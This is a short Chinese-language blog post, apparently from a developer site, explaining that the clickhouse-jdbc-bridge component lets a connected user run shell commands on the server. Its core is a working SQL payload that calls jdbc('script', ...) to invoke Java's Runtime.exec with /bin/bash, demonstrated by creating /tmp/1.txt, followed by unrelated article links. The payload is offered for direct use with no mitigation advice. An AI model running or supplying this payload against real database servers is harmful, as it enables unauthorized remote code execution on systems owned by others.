clickhouse-jdbc-bridge rce

clickhouse-jdbc-bridge 是什么

JDBC bridge for ClickHouse®. It acts as a stateless proxy passing queries from ClickHouse to external datasources. With this extension, you can run distributed query on ClickHouse across multiple datasources in real time, which in a way simplifies the process of building data pipelines for data warehousing, monitoring and integrity check etc.

简单来说是clickhouse服务端的一个组件 功能是用来创建新的jdbc连接

https://github.com/ClickHouse/clickhouse-jdbc-bridge

RCE

当我们连接到clickhouse的时候,如果服务端支持clickhouse-jdbc-bridge

那么可以输入以下命令RCE

复制代码
SELECT *
FROM jdbc('script', 's=[3];s[0]="/bin/bash";s[1]="-c";s[2]="touch /tmp/1.txt";java.lang.Runtime.getRuntime().exec(s);')

然后可以在服务器端/tmp目录下看到1.txt

相关推荐
学习中的码虫22 分钟前
数据库-MySQL
数据库
Karry的巡洋舰35 分钟前
【数据库】安全性
数据库·oracle
软件测试小仙女1 小时前
鸿蒙APP测试实战:从HDC命令到专项测试
大数据·软件测试·数据库·人工智能·测试工具·华为·harmonyos
exe4521 小时前
jdbc查询mysql数据库时,出现id顺序错误的情况
数据库·mysql
John Song1 小时前
macOS 上使用 Homebrew 安装redis-cli
数据库·redis·macos
数据知道2 小时前
Mac电脑上本地安装 redis并配置开启自启完整流程
数据库·redis·macos
Lonely丶墨轩2 小时前
Redis 缓存策略:借助缓存优化数据库性能并保障数据一致性
数据库·redis·缓存
GUIQU.2 小时前
【Oracle】分区表
数据库·oracle
Wooden-Flute2 小时前
五、查询处理和查询优化
服务器·数据库·oracle
曹牧2 小时前
Delphi中实现批量插入数据
数据库·oracle